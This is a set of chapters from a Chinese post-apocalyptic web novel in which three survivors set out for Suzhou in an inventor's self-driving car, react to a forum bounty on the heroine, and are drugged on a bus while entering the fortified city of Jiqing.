程承见她盯着自己,止住话头:“怎么了?”
伏苓沉默了两秒,突然问道:“你要不要跟我一起去肃州?”
这一点是突发奇想。
伏苓原本并没有过这样的想法,只是福至心灵,下意识问了一句。但回过神细想来,如果程承当真能跟自己一同前往肃州,前方的路或许会好走很多。
最重要的是,有那么一瞬间,伏苓被一股强烈的直觉指引——带上他,只有带上他事情才会如你所想那般解决。
程承愣了一瞬:“肃州?为什么要去那边?”
他没有去过太远的地方,肃州于他而言也只是听闻。
“我也不知道,直觉。”伏苓托着腮:“但方休的意思是,等我们抵达肃州,这场灾难或许就会有转机。”
雨灾持续八年之久,无数百姓死在期间,而这场浩劫也如同无尽的黑暗,怎么都看不到终点。
她一向不太喜欢思考前因后果,每天瞻前顾后的,太麻烦了。只要有一线转机,只要有一分能结束这种生活的希望,那她就去做。
但显然,程承不是这种人。
只有这点信息他自然是无法直接答应她的。
方休于他,不过是一个刚见面的陌生人,他没办法将赌注全部压在方休身上。
程承皱眉:“你有其他线索吗?”
伏苓勾唇,懒散道
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:“没有啊。”
说到底她也不是很清楚,线索朦朦胧胧的,似乎一切都指向肃州,但又好像只是自己想多了。
程承:“……”
他在这座城市无依无靠,若是此行当真能结束雨灾,他自然是愿意与伏苓同行的。但问题就在于,“去肃州就能结束雨灾”是凭借伏苓虚无缥缈的直觉得出的结论,最后加上了方休的数据支持,但结论的真实性和可行性依旧存疑。
再者,肃州距离临安有数千公里之远,一路上会遇到什么事情、遭遇什么人,他都没有办法提前预知,一路上所承受的危险远远超过他所设定的安全值,也就必然要做出或大或小的牺牲。
若是这些牺牲能够成为结束灾难的养料就算了,但如果一切都只是无用功呢?
如果他们前仆后继的牺牲换来的只是和从前一样的水深火热呢?
正当他犹豫的时候,一直没有说话的血兔突然顺着他的手臂跳了出来,站在他的小臂之上。
血雾凝结的身体虚虚实实,但它乖戾的声音却异常清晰:“答应她。”
伏苓看着这只若隐若现的兔子,它在冷静说话的同时小心翼翼地挪着爪子远离自己。
她笑了一下:“你这兔子好像有点怕我。”
闻言,血兔长长的耳朵下意识抖了一下,长耳一甩,又缩回了程承身体里。
程承若有所思地看着血兔消失的地方。
回想血兔平常和今天的出现频率,他确实觉得自从见到了伏苓,血兔就不怎么出来了。要知道,先前每一次使用异能,血兔都会出来溜达两圈为非作歹。
他摸了摸下巴:“是不是你在前瞻集团打得太凶,把它吓到了?”
伏苓挑了挑眉,一脸不屑地靠上椅背:“那它心理承受能力有点弱。”
程承手臂上的血管突突跳了两下,仿佛下一秒血兔又要跳出来大喊大叫跟伏苓决一死战,但那条青色的血管只是快频率地抖了抖,最后乖乖归于沉寂。
这下,程承算是彻底确定了,血兔确实很怕伏苓。
要知道,这只兔子寻常可不会这么忍气吞声,遇到有人说它坏话,它下一秒就能跳出来咬上对面的脑袋,而不是像现在这样无能狂怒。
但他还想着方才血兔说的话。
为什么一向不会左右他决定的血兔会突然说出这样的话呢?
难道,血兔和肃州有什么渊源?
他微微皱眉。
单单看表面,血兔与肃州有关系可能只会让他感到好奇,但若是再往下想两层,血兔本质是异能,也就是说,或许雨灾带来的异能和肃州有关?
这个猜测让他有些毛骨悚然。
程承本就年少,就算经历无数,也还是少年心性。他也不再纠结,正视着伏苓:“我会跟你一起去的。”
后者早有预料,点了点头,起身送客道:“行,那我们明天出发。”
她半推半请地将程承推到屋外。
程承思路被瞬间打断,愣愣顺着她的力道走,还有些没反应过来:“明天?不用定个计划什么的吗?”
伏苓莫名其妙:“去肃州不就一条路线吗?明天我们直接去集庆。”
8. 无异能者的噩梦集团08
伏苓要离开临安的事情很快传遍了整个地下之城。
在这里住着的百姓,很多都是伏苓亲手救下的。
对于他们而言,伏苓就像是无能力者的守护神,哪怕她年纪还小,但百姓也向来对她爱戴,听到这个消息,顿时有些不舍地前来找她聊聊天。
对此,伏苓早有预料。
只是她没想到,第一个过来找他的,居然是祝无忧。
祝无忧直挺挺地站在她面前,居高临下地看着她,坚定道:“我也要去。”
伏苓托着腮,对她突然的坚决请求感到无奈:“路上很危险。”
祝无忧根本不听:“不是说好了,我们仨现在是一伙的吗?为什么带他不带我?”
她不管那些有的没的,只觉得自己被抛下了。
怕她误会伤心,伏苓耐心解释:“程承的异能杀伤力强,有自保的能力,所以我才会带着他。你跟着我去的话,我没办法时时刻刻保护着你,你会受伤。”
祝无忧不解:“但是有你们俩就可以了呀,我不会加入战斗的,我会很乖地在后面给你们当辅助!”
伏苓正了神色:“祝无忧,你似乎还没有意识到,我只是一个无能力者。”
她虽自信,但也没把握一直保护祝无忧。
“那又怎么样?”祝无忧眼睛微瞪:“你比很多异能者都厉害啊,能力这种事情又不是跟异能挂钩的,只要你比他们强,你就是可以胜过他们。”
两人正说着,程承推门进来了。
伏苓可以说走就走,他不能,所以他紧急准备了一些路上可以用到的东西,却没想一回来听到了两人的对话。
他插了句嘴:“我觉得可以带上她。”
祝无忧顿时一脸惊喜,指着程承看向伏苓:“你看你看,程承都同意了。”
伏苓瞥了一眼程承:“你凑什么热闹?”
程承将背包放下,坐在伏苓身前,跟她分析道:“她的异能非常强劲,在路上也许会有出乎意料的作用。”
伏苓沉默了两秒。
说实话,她的确很喜欢祝无忧的异能。只是这异能攻击性太低,一旦落单,后果不堪设想。伏苓是个怕麻烦的人,也不希望有人因为她不顾后果的决定受伤。
“让她一直跟在我们身边不就好了。”程承说,“去肃州本就是一场冒险,我们同样没办法保证自己的安危,不也还是踏上路途了吗?既然如此,她也可以。”
伏苓没说话,但眉宇间似乎多了几分松动。
见状,祝无忧立马拍着胸脯保证:“我发誓绝对不离开你们半步。”
两人一唱一和,伏苓倒也不好拒绝了。她叹了口气,换了只手继续托着脸颊,无奈:“行吧。”
……
临出发前,方休将自己鼻尖架着的眼镜塞给了伏苓。后者挑了挑眉,似乎是不太理解他的意思。
方休没有多说,只是道:“GE视野,很好用的。”
GE视野是方休为这副眼镜起的名字,伏苓对这样神神叨叨的起名方式始终理解不了,但这不妨碍她知道方休对GE的宝贝程度。
她眼睛微微睁大,透着不可置信:“你要把你老婆给我?”
程承本还在检查有没有漏带的东西,闻言慢吞吞地看了他们俩一眼。
好奇怪的对话,好奇怪的两个人。
方休闭了闭眼,忍住了揍她的冲动。
他确实很爱护GE,但也没到老婆的程度吧?而且看伏苓脱口而出的样子,显然是私底下已经喊了这个名字很长时间了。
他礼貌微笑,眸子里莫名多了几分杀气:“你说什么?”
伏苓立刻转身,将GE架在自己鼻梁上:“没什么事我就先走了哦。”
眼尾处红光一闪,GE从左侧飞快缩向另一边,像一只小型骨传导耳机一般牢牢夹在伏苓的右耳上。没什么重量,如果不将注意力放在这上面,根本意识不到耳朵上还有这么个小东西。
虽然伏苓还没弄清楚这玩意怎么用,但仅靠这一下,她就知道为什么方休天天抱着GE不放手了。
这么高级的东西,要是她也不愿意放下。
方休看了一眼乖乖伏在伏苓耳侧的GE,眸色渐深。
伏苓勾唇:“舍不得?”
方休直接转身,一幅眼不见为净的样子:“赶紧滚。”
伏苓也没跟他婆婆妈妈的,两人都不是喜欢煽情的人,见状她直接挥手招呼祝无忧和程承:“走啦。”
方休早就为他们找出了多年不用的S74越野车。车身高大,通体漆黑,线条硬朗。
伏苓敲了敲引擎盖,飞起一阵灰尘,她有些怀疑:“这车真的还能用吗?”
方休这几年天天缩在地下不出来,这车怕是八年没动过了吧?
别开一半抛锚了。
“我试试吧。”程承自觉坐上驾驶座,检查了一番启动了发动机。发动机的嗡鸣响起,昭示着这辆车还能再挺个百来公里。
程承看了看仪表盘和基础的操作杆,道:“应该没问题。”
另外两人这才开门上车。
车内被地下的人们已经打扫过一遍了,没什么灰尘,内部还布置了一番,粉色的小熊吊在后视镜上。
伏苓坐在副驾上,看了一眼随着车摇摆的小熊,伸手弹了弹:“话说你会开车吗?”
程承看上去还挺嫩的,八年前可能没成年,就更别提驾照什么的了。
程承勾唇,笑得有些意味深长:“我不会,但试试不就会了?”
说完,他拉动换挡杆,车子直接一个原地弹射。
速度之快,让伏苓扶了一下车门:“你大爷的,我还没寄安全带。”
祝无忧在后面倒还好,撑着前排座位勉强坐稳,她看向程承的目光满是幽怨:“人不可以,至少不应该直接开这么快吧?”
“我还没踩油门呢……”程承小声嘀咕,面色疑惑地看向仪表盘。
坐在驾驶位上到底是不一样的,程承很快意识到了这辆车的与众不同之处,刚好前方一条大直路,他一手扶着方向盘,另一只手四处敲了敲,然后确定:“这不是正常的车。”
伏苓也没管安全带,抱着臂挑眉看他:“怎么?这车下雨了会自己跑回家?”
祝无忧笑了两声,凑过来了些:“什么叫不是正常的车?”
程承指着仪表台:“你觉得正常的车能开到四百码还这么平稳吗?”
如果他没记错的话,人家F1赛车的车速记录也才三百多码。
这下,就连伏苓也愣了一瞬。
她凑近了些,看清目前时速后又靠了回去:“是啊,怎么会这样呢?”
程承:“……”
两边景色飞快倒退,祝无忧“额”了一声,吞吞吐吐说:“其实我刚才就想说了,这车稳得离谱啊,也是方医生的惊天发明吗?”
车确实很稳,稳到让伏苓觉得车甚至没动。但比起这个问题,眼下还有一件要紧的事,她看向程承:“这么快,你真的能开吗?”
前方的景色都变得有些模糊了,这么快的车速下,正常人根本没办法掌握方向盘吧?
程承确实不行。
他直接松开了方向盘,摊手,转头,微笑:“实际上,我根本没有掌握方向。”
车内安静了一瞬,程承又道:“从刚才发车到现在,都是这辆车在自动驾驶。”
最开始的时候他还是在控制方向盘的,但很快控制权就不在他手上了。
伏苓顿了顿,毫无预兆地锤了已经停止摇摆的小熊一拳:“早知道就坐后面了。”
不用开车,也不用导航,前排两个位置完全可以不坐人。后面空间大,躺得也舒服些。
但是现在的重点是这个吗?
程承一脸疑惑,他努力将她的注意力转移回来:“所以这辆车真的是那位方医生搞的?”
“肯定是。”伏苓点点头:“除了他没人能捣鼓出这种东西。”
竟然将这辆跨时代的车说成“这种东西”?
程承有些想替车辩解。
祝无忧从最后一排的箱子里拿了一包零食,顺手塞了伏苓一包:“所以这车是什么原理?”
她知道自己肯定听不懂,但这不妨碍她好奇。
程承皱眉思索一阵:“可能是磁悬浮?”
能将车速拉成这样的速度,以如今的科技实力,恐怕只有磁悬浮能解释了。
但这车又是怎么在普通的公路上形成磁悬浮的,程承实在想象不到。
伏苓嚼嚼嘴里的糖,继续骚扰悬挂着的小熊:“别忘了,现在很多事情都不能用科学解释。”
程承抿了抿唇:“但方休是无能力者啊。”
这才是他没有往异能上去想的原因。就算是异能,又有什么异能能创造出这
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样的产物?
伏苓看他皱眉思索的样子,没忍住塞了几块糖到他嘴里。
看到程承呆滞的模样时,她才拍拍手:“管他呢,能用不就行了。”
甜味在口腔里泛滥,程承僵硬地嚼了两下嘴里腻人的糖,还是忍不住思考这辆车的原理。
但他到底是不知道方休的真实实力,也不知道在他手里到底能造出怎么样的科技。
他又扫了一眼伏苓的耳朵。
GE不在这边。
他问道:“那个眼镜有什么功能吗?”
伏苓还没开始研究,闻言立马敲了敲耳上的装置。泛着银光的无框眼镜顿时架在她的鼻梁。
在程承看来,这副眼镜似乎与平常眼镜没什么两样。
但在伏苓的视角看去,目之所及,都能在下一秒弹出极为详细的信息。她愣了一下,扫向手中还没开封的零食。
下一瞬,红色的激光沿着拆封线飞快扫过。
伏苓眨眨眼睛,从切得整整齐齐的开口出拿了一片薯片,冷静道:“好像有点用。”
起码不用自己撕开包装。
啪嗒一声。
祝无忧手里的零食掉在地上,她愣愣道:“如果我没漏掉什么的话,你好像既没有说话,也没有做出手势,它怎么会知道你想打开薯片?”
伏苓又嚼了两下:“不知道啊,好厉害啊。”
这两句说得好敷衍啊。
祝无忧忿忿。
这GE看上去确实是个好东西。
程承收回目光:“能利用好说不定是个杀器。”
说到这个,祝无忧好奇地扫了一眼伏苓周围:“对了,伏苓姐,你的那把……额,甩来甩去的鞭子呢?”
她不知道那是什么,印象还停留在它灵活又敏捷的身姿上,所以才猜测是鞭子。
伏苓右手轻轻一甩,那把血红的剑瞬间出现在她的手上。她点了点腕上的轻便装置:“在这里面,软剑可以塞进去。”
她想了想,又补充道:“方休搞了点小设计,收进去的时候也很方便。”
说着,她还想着空说不太好理解,顺手给他们俩演示了一下。纤细的刀柄抵在装置上后,里面就像有什么吸力一般将整个软剑都收了回去。
祝无忧看得一愣一愣的:“好神奇。”
有这磁悬浮越野车和GE的铺垫,程承倒是没有太大反应,索性也不需要自己驾驶,他干脆整个人都转了过来:“但你怎么会使用软剑?”
若是防身,大多数人都会选择跆拳道之类效果立竿见影的,像软剑这种古老的武器也太不常见了。
伏苓胳膊肘抵在窗户上,漫不经心:“小时候我爸妈让我练的,这把剑也是他们留给我的。”
这把软剑其实非常特殊,伏苓拿着它打过成千上万的异能者,发现它几乎能斩断所有异能攻击。也就是伏苓根本不会想那么多乱七八糟的,要换作程承,早就将这把剑的七大姑八大姨给查清楚了。
不过就算程承没有太了解这把软剑,他也意识到不对劲:“这把剑有什么特殊的吗?”
他习惯性地想探究完全那些来路不明的东西。
伏苓神色恹恹:“不知道啊,能打就行。”
“哦,对了。”想着他们俩也算是自己的同伴了,自然要坦诚相待,所以伏苓从后腰又摸出能量枪:“还有这个能量枪,方休给我的,无限发。”
闻言,程承的神色有些裂开:“这又是什么?”
他见过伏苓拿枪杀人的场景,知道这枪的威力惊人,没想到居然是无限发的?
更何况,就算是一把普通的枪,无限发的效果也是极为骇人的,而伏苓却只是这么不咸不淡地解释了一句。
程承真的很想摇醒她!清醒一点啊这是能量枪!无限发的能量枪啊啊啊!!
伏苓没理会已经陷入呆滞的程承,把枪在他们两人面前展示了一圈,又塞回后腰。
车内沉默了两秒,程承终于回过神来,忍不住提醒:“这些武器不要给别人知道了。”
末世人心难测,若是被人知道这等杀伤力的武器,指不定会有多少人来抢。
“放心。”伏苓点点头:“我又不是傻子。”
几人聊着聊着,后座咔嚓咔嚓吃东西的声音突然一顿。
祝无忧举着战备机,犹犹豫豫地开口:“伏苓,有人在论坛上发了你的追杀令。”
9. 守护者的黑色堡垒01
所谓论坛,是战备机上的一个功能论坛。
早在灾难初发的时候,网络信号全面崩塌,军方为了联系到大部分群众,在各个城市的街道旁设置了类似于自动售卖机的装置,里面都是连接着卫星信号的战备机,只有电话、信息和论坛的功能,民众可以来到售卖机前扫脸认证实名信息免费获取战备机。
而军方也会时不时在论坛上发布官方最新进展和动态,不过官方消息不多,论坛里大部分人都在各自讨论着事情。
一般情况下,大家讨论的事情重合度较高,比如哪里哪里求助,买卖资源之类的。
但今天,寻常的灌水帖中冒出来一个格外令人瞩目的帖子——
【有人发现临安的前瞻集团好像被炸了吗?】
1L:昨天看到那边爆炸了但没细想,今天突然发现前瞻集团大楼没了!没了?!是出什么事了吗!!!
2L回复1L:fpb
3L:啊?真的假的?
4L:肯定假的,前瞻集团要是能被人炸了我把鸟巢吃了。
5L:讲真,虽然我离临安离得远,但也是知道前瞻集团的牛逼的。临安和周边城市的异能者都被他们收入麾下了,哪还有人能组织出可以摧毁集团的力量?起码得要二三十个强者吧?
6L回复5L:二三十个哪够啊?集团里面百八十个强者呢。
7L:收米面粮食,道具换。
8L回复7L:我要,私。
9L:但是……王瞻的账号灰了。
论坛里都是实名认证,但只会标注男女,真实信息按照个人意愿隐藏。大部分人都会选择隐藏信息,毕竟论坛上鱼龙混杂,万一真有什么人顺着信息摸过来,后果不堪设想。
不过也会有人选择展示个人信息,这样的人一般强大且自信,根本不怕别人找过来。
王瞻就是其中之一,他仗着自己身居高位,周围异能者无数,多次在论坛上发表各种高高在上的言论。
和平年代,这样的人会被大部分人讨厌,但在如今人人自危的末世里,他这样强大自信的异能者反而会吸引众多追随者。所以论坛上有不少人关注着他的一举一动。
状态灰了意味着战备机被损坏无法联网,基本上等同于死亡。
这话一出,下面的回复立马如井喷似暴涨。
10L:我靠,你别骗我!
29L:真的假的真的假的真的假的??来个人辟谣啊!!
56L:我没关注他,有没有关注王瞻的人看看他是不是真灰了啊?
57L回复56L:我去看了,真灰了。
58L:草草草!他真死了?!普天同庆啊!
78L回复58L:谁说灰了就等于死了?你嘴巴放干净点,等前瞻集团的人来了,小心瞻哥给你好看!
102L回复78L:小~心~瞻~哥~给~你~好~看~哈哈哈哈!!
113L:楼上嘲讽力MAX。
131L:笑死,人都死了,死忠粉还在呢?脑残能不能不在要论坛发言?
156L:他死了不是活该?人在做天在看!这人做了多少丧心病狂的事情,杀害了多少无辜的无能力者?死不是必然的吗?
180L:你们等着,瞻哥不会放过你们的!真当前瞻集团是什么随随便便就能被毁灭的组织呢?就算你们都死了集团都不可能崩坏!
257L:我去看了,前瞻集团确实被炸了,毛都不剩。
这一句再次引爆论坛,回复一句一句跳出来,几乎连成一片。
387L回复257L:这么快??这执行力牛逼!
398L回复257L:哥现在什么情况啊?有找到谁干的吗?
453L回复398L:不好意思,我是女的。具体情况不清楚,我从松江赶过去的。整个集团都被炸成废墟了,地上很多血,看样子应该是爆炸之前杀的人。
569L回复453L:对不起姐!还得是姐牛逼!
586L回复569L:有什么牛逼的?不就去看了一眼吗?你怎么不说炸前瞻集团的也是女的?
602L回复586L:你是不是有病?这也要搞性别对立?看到女的比你厉害就破防了?好敏感哦~
689L:我去,到底是谁啊?我原本以为是直接炸的,里面的异能者可能都没死几个,现在看上去好像是先杀后炸啊!
986L:真的牛逼,天降正义!
996L:不管是谁,我先膜拜了!大神腿给我抱一抱。
1033L:我是临安的,昨天似乎是感染者攻进去了,杀了很多人。后来炸集团的时候我眼泪都掉下来了,当年前瞻集团抢走了我姐姐,杀了我父母,姐姐拼死才把我护出来。我没有一刻停止过恨前瞻集团,但碍于自己只是无能力者没办法撼动他们,感谢勇士!
1056L:妈呀……所以是全军覆没了吗?
1269L回复1056L:多半是了!!
激烈的讨论中,有一条回复猛地窜出来:
1568L:我靠你们看隔壁帖子!
众人急急忙忙退出帖子,刷新两下弹出了最新帖:
【追杀令:追杀成功可领强力道具三个,提供线索者可领两袋粮食】
1L:[图片][图片][图片]
发的三张图片都是监控截图。
第一张是前几天伏苓在前瞻集团门口杀人的画面,剩下两张都是昨天集团一楼内部的截图,一张程承,一张伏苓。照片有点糊,程承那张只有一个背影,但伏苓那张却可以勉强辨认出容貌。
2L回复1L:两个人,重点杀这个女的。
帖子下面没人回复,但刚才的帖子的回复量又开始猛地往上窜。
1795L:如果我没看错的话,那三张图的背景都是前瞻集团,右下角有时间,第一张是几天前,
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后面两张是昨天。我有一个大胆的猜测,但我不敢说。
1855L回复1795L:别害怕,大胆说出来!炸前瞻集团的就是这两个人吧!
1896L回复1795L:那个女的是先一个一个杀了最强的那些,然后在昨天将剩下的一网打尽,对不对!!
1912L:就……两个人啊?
1965L:这两人肯定很强,不然不可能单枪匹马杀穿前瞻集团。
1988L:斗胆分析一下。根据情报来看,前瞻集团昨天正在举办聚会,也就是说,基本上比较核心的异能者都会参加,参加人数可能在一百人左右。结合帖子里附近的朋友透露的几点信息可以看出来,他们并非单凭自己杀进集团内部,而是利用了感染者。但即便如此,一百多个异能者也不可能被感染者全军覆没,所以里面肯定还会有这两人的手笔。
1989L回复1988L:他们的异能可能是控制(比如控制感染者),可能是削弱(比如削弱异能者),也可能是强攻击性的,但毋庸置疑,实力非常强悍。而且我还注意到一个细节,在追杀令的第一张图里,这个女生杀的是前瞻集团的创始人之一,我虽然没有跟他打过交道,但也大概知道此人实力非常强悍,这个女生在图片上看来非常散漫,甚至衣服都没有乱,也就是说,她大概率是一击击杀。按照正常异能者的战力,要毫发无伤且百分比保证杀了他,起码需要五至七人。
1990L回复1989L:所以,这个女生的实力绝对、绝对在大部分人之上。建议各位不要试图盲目追随追杀令,两人的实力应该都在异能强度的前5%,擅自前往,必死无疑。
说完这句,这条回复的回帖人就不再言语,帖子沉默了几秒,小心翼翼地冒出来几句回复。
1991L:去看了一下楼上主页,是楚河大佬诶,这事居然把他炸出来了。
1992L回复1991L:楚河是谁?
1993L回复1992L:梁州的大佬,经常在周边救人,性格有点冷但是特别好的一个人。
1994L回复1992L:雨灾前第八届太极拳全国大赛第一名,异能是啥我不知道,但是他很强!还经常救人!
1995L回复1994L:我被他救过,异能就不说了吧,反正确实很厉害。
1999L回复586L:终于翻到你了!!傻逼出来丢人,炸楼的还真是个女的!!
2000L:楼上也太记仇了吧哈哈哈哈。
2001L:所以有人知道追杀的两个人是谁吗?
伏苓笑了一声,懒洋洋地退出这个帖子,点进追杀令里。
【追杀令:追杀成功可领强力道具三个,提供线索者可领两袋粮食】
1L:[图片][图片][图片]
2L回复1L:两个人,重点杀这个女的。
3L:哎呀,漏掉一个,别跑哦,马上就到你了^^。
10. 守护者的黑色堡垒02
霎时间,论坛的所有回复都冻结在一个数字上,没有人回复任何内容,但追杀令的浏览数字却在以一个惊人的速度疯狂增长。
程承眼珠子都快瞪出来了,他转头,指着战备机,小声怒吼:“你就这么回复他了?!”
伏苓靠在车窗上,将战备机收回去:“是啊,好爽啊,最喜欢装逼了。”
程承:“……”
祝无忧摇着战备机愤愤不平:“凭什么没有追杀我!是我不配吗?!”
程承:“……”
他回头,疑惑、不解、难以置信等无数个情绪汇聚在一起:“这是什么好事吗?”
祝无忧笑呵呵的:“我也想装逼。”
程承长长地叹了口气,默默将脑袋转回来:“之后应该会有很多人关注我们,要更小心了。”
“让他们来。”伏苓说:“我最喜欢虐菜了。”
程承:“……”
他原先还想过伪装什么的,现在看来是不用了。以伏苓如今这个看到谁都想砍两刀的状态,恐怕伪装不了两分钟就能触发大规模混战。
“哦,对了。”伏苓偏过头,“漏了谁?”
前瞻集团的创始人有五个,伏苓在前几日里依次杀了两个,王瞻被程承杀了,还剩下两个人。
“你没到集团的时候,我还杀了一个。”程承说:“就剩最后一个人,叫张才,不知道是什么异能。”
伏苓点了点GE,跟方休传了两句讯息,回答道:“他已经不在临安城了,似乎是往荥城方向跑了。”
伏苓有些兴奋:“追杀他!”
程承扶额。
该说不说,这张才真是个人才,追杀不成反被追杀。也不知道等他们到了荥城,这人会是什么反应。
-
临安离集庆算不上远,几人交谈中,差不多就到了。
前方一座黑色堡垒独自屹立在荒原之上。
高墙坚固而漆黑,堡垒的尖塔屹立风中,狂风刮过,发出令人心悸的哀嚎声。周围植被枯萎凋零,天空笼罩着灰蒙蒙的乌云,厚重得连阳光无法透过。
祝无忧看向前面戒备森严的堡垒,吞了吞口水:“之前集庆是这样的吗?”
这包围得严严实实的,也太奇怪了。
伏苓倒是没那么惊讶,面不改色:“之前临安也不是现在这样啊。”
八年的乱世,改变一座城市太正常了。
但临安发生变故倒是可以理解,作为东部战区中枢的集庆怎么会也出现这样的情况?
车速缓慢降低,停在了拦路的巨大城墙前。一旁卫兵走到程承那侧,敲了敲窗户:“你好。”
能单枪匹马闯过感染者来到这里的人,能力必然不可小觑,卫兵的态度很好。
程承没有拒绝交谈的理由,他扫了一眼前方缓慢包围住车辆的警卫,摇下了车窗。
“进城的话,得做专门的车,否则不允许入内。”那卫兵好声好气地说着,手却一直放在腰间的武器上,目光警惕地看着车内的几人。
可能是怕他们的车上携带了什么,程承与伏苓对视一眼。伏苓坐直身体,手放在了门把手上准备下车。
卫兵看到伏苓的动作舒了口气,将手从武器上放下。
“等等。”程承突然出声。
周围的警卫顿时警觉,手立马按上武器,目光凌厉。
气氛瞬间有些剑拔弩张。
程承扫了他们一眼,客气地问道:“我能问问如今这城内是什么情况吗?”
闻言,紧绷着的卫兵稍稍放松:“您大可放心,城内自然是绝对安全的,但就是因为城内的安全着想,所以才要让你们下车统一进入。”
绝对安全吗?
程承看着这些全副武装的警卫,勾了勾唇,不置可否。
他点头致谢,卫兵这才退后了两步,让他们下车。三人一人背着一个包,被挨个盘查。
那卫兵从伏苓包里翻出几支管状物品。
似乎是太久没见到这玩意了,他沉默了两秒,艰难发问:“这是什么?”
伏苓掀了掀眼皮,莫名其妙:“口红啊,你没见过?”
卫兵沉默,他八年前见过。
他很敬业,维持着表情又翻出了一堆乱七八糟的东西:“那这些呢?总不能都是口红吧?”
“遮瑕,粉底……那个是染发膏。”她指尖勾了几根挑染的发丝:“看到了吗?他们一天一个色。”
卫兵彻底沉默了。他有些麻木地将东西放回原处,甚至都不想搜身了。
他已经默认这个无能力少女多半是没什么武力值,充当被保护者,或者说花瓶的存在。
他挥了挥手:“进去吧。”
本来程承还在担心伏苓后腰上的枪,这次也松了口气。但同时,他又忍不住扫了一眼伏苓的包。
包里就没一个有用的东西吗?
祝无忧接受良好,甚至有点羡慕,她凑过去:“伏苓,我可以用吗?”
伏苓大方道:“随便用。”
没理会两人的交谈,那卫兵又开始马不停蹄地开始检查程承的包。他那里面的东西很简单,一套换洗衣物,还有一些七零八碎的日用品。
卫兵四处摸了摸,确定没什么危险的东西后对程承道:“双臂展开。”
伏苓挑了挑眉。
她怎么没有这一项?
卫兵将程承上下摸了一遍,也没察觉出什么危险,便挥手让他也进去了。
他能察觉到这人是异能者,但每个人的异能都非常私密,若是每有一个人进去都要强行逼人向他们展现自己的异能,那恐怕多少个卫兵都不够用。
只要没带什么危险品,他们也就放行了。
反正……
他甩了甩脑袋,抛去了那些思绪。
祝无忧上前将包递给他。她的包里也没什么,全是些零食。
卫兵翻了翻也就没再继续,祝无忧立马意会,张开双臂。
乱世之中,没人在乎什么男女礼节,所以祝无忧没觉得有什么不对,而且星牌是随着召唤才会出现,正常情况下这人也摸不出什么来。
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三人很快检查完毕,被一个警卫带到了一辆大巴车边:“在车上等一会吧。”
面前车身斑驳的油漆剥落,露出了锈迹斑斑的金属表面。车轮旁边的橡胶已经老化龟裂,显露出内部的钢筋。玻璃破碎,有些被木板所取代。
伏苓抿唇,看向这辆像是上个世纪遗留下来的破败大巴,沉默了。
警卫似乎也意识到这辆大巴与他们开的车差距太大,有些不好意思,但还是解释道:“情况特殊。”
行吧。
三人也不嫌弃,依次上了车。
车内没好到哪去,车顶的行李架已经生锈,上面的塑料袋和行李已经风干褪色。座位倒还能算得上干净,这让程承松了口气。
里面稀稀拉拉还坐着好几个人,见他们上来警惕地看了两眼,见到三人里有两个女人,他们顿时放松了下来。
伏苓找了个远离人群的靠窗座位坐下。程承在她身后,下意识坐在了她的身边。
祝无忧晚了一步,她悲愤地瞪了程承一眼,才凄凄惨惨地坐在伏苓后面的座位上。
车上只有前面几人的窃窃私语。
程承悄悄盯着她的脸看了会,忍不住问道:“你化妆了吗?”
伏苓唇红齿白,皮肤很好,甚至能看清她脸颊上细小的绒毛,不像是化妆的样子。
但程承看她包里装着化妆品,下意识以为她化妆了,但是他又看不出来,忍了半天才问出来。
伏苓淡淡瞥了他一眼:“你觉得我化了吗?”
程承又盯着她看半天:“……好像,没有吧?”
伏苓点点头:“真棒,你猜对了。”
程承又忍不住问:“那你带哪些是……”
伏苓靠在椅背上:“带的玩,你看,他这不就以为我是花瓶了吗?”
等了五分钟左右,又上来了两个人。他们扫了一圈,走到最后一排坐下。
伏苓靠在窗上,感受着车微微颤抖了一下,然后缓缓开动。窗外都是黑色的高墙,看不清什么,只能凭借着车身的行动判断行进方向和距离。
祝无忧抽了两张牌,低头皱着眉看了好一会,凑上去脸靠在两个椅背中间的缝隙上,将手上的两张洞悉牌塞到前面:“我觉得这里好不对劲啊。”
程承接过,祝无忧又压低声音道:“刚刚他们上车的时候我抽了两张牌,结果发现他们俩一个骑的自行车,一个抡着滑板来的,但都被扣下了。”
星牌在程承的指尖转了一圈,他道:“如果我们阻止我们开车进入倒是可以用担心我们私带了什么的理由,但滑板和自行车这两个交通工具也用相同理由就有点勉为其难了”
所以问题不在交通工具上,而是这辆大巴。
伏苓掀了掀眼皮:“管那么多呢,有问题直接杀了他们不就好了?”
祝无忧嘴角抽了抽:“姐,虽然你很厉害,但也不能这么暴力啊。”
星牌悄然自燃,消失不见。
程承总结道:“看样子他们就是想让我们坐这辆车进入集庆。”
11. 守护者的黑色堡垒03
进了城墙后也不是伏苓以为的集庆城,窗外一片荒芜。
伏苓托着腮:“看样子,他们是在集庆城外隔了一段距离又造了个城墙。”
祝无忧:“神经病啊?”
先不说从头修建城墙所要消耗的人力物力,单单就凭这中间隔着的区域,就能判断出提出这个想法的人脑子不好使。
程承坐好,头靠在椅背上看向窗外:“没那么简单。”
具体怎么样他也不好说,现在信息太少,甚至还没有真正进入城内,如果仅靠这些就判断出集庆城内到底是什么情况的话,那他就不是人而是神仙了。
三人又安静了下来。
伏苓看着外面不断变换的景色,不知为何,竟有些困倦。她抬了抬眼,意识到有点不对劲。
因为她自从灾难发生之后,基本上没睡过几个好觉,再加上精神一直处于紧绷的状态,所以就算是睡着了,也一直警惕着周围,从来没有过像这样困倦的情况。
她扫了眼周围,前排的那几个人已经昏睡过去了。
察觉到她的警觉,程承凑近了些:“怎么了?”
伏苓靠回椅背上,侧了点头,对上了他的目光。两人靠得很近,发丝缠绕在一起,有点暧昧。
程承率先移开目光,飞快眨了眨眼睛。
伏苓没察觉到他的异样,困意袭来,她勉强保持清醒:“车上可能有东西让我们陷入沉睡。”
她转头,祝无忧已经睡着了。
后排的那几个人也一直昏昏欲睡。
伏苓只感觉自己的眼皮不停地打架,就连程承也同样感受到了困意。
他抑制住想打哈欠的欲望,几乎无法被注意到的红雾悄然掩盖整个车厢,做完这些,他已经快要失去意识了:“没办法了,起码我们睡着了还有血兔在。”
伏苓也有点撑不住了,看着安静停在各处的血色颗粒,她抱着臂陷入了沉睡。
……
吱呀——
车辆猛地停下,车厢内所有人皆是一惊。
伏苓睁开眼,窗外已经是车水马龙的街道,阳光明媚,行人脸上挂着轻松惬意,甚至有几分灾难还未发生的意思。
祝无忧短暂地愣了几秒,立马被窗外的景象吸引了注意力,扒在窗户上感叹:“怪不得周围的人都喜欢来集庆,这城内确实不一样啊。”
司机站了出来,声音洪亮:“赶紧下车吧。”
伏苓起身,拎着包下了车。
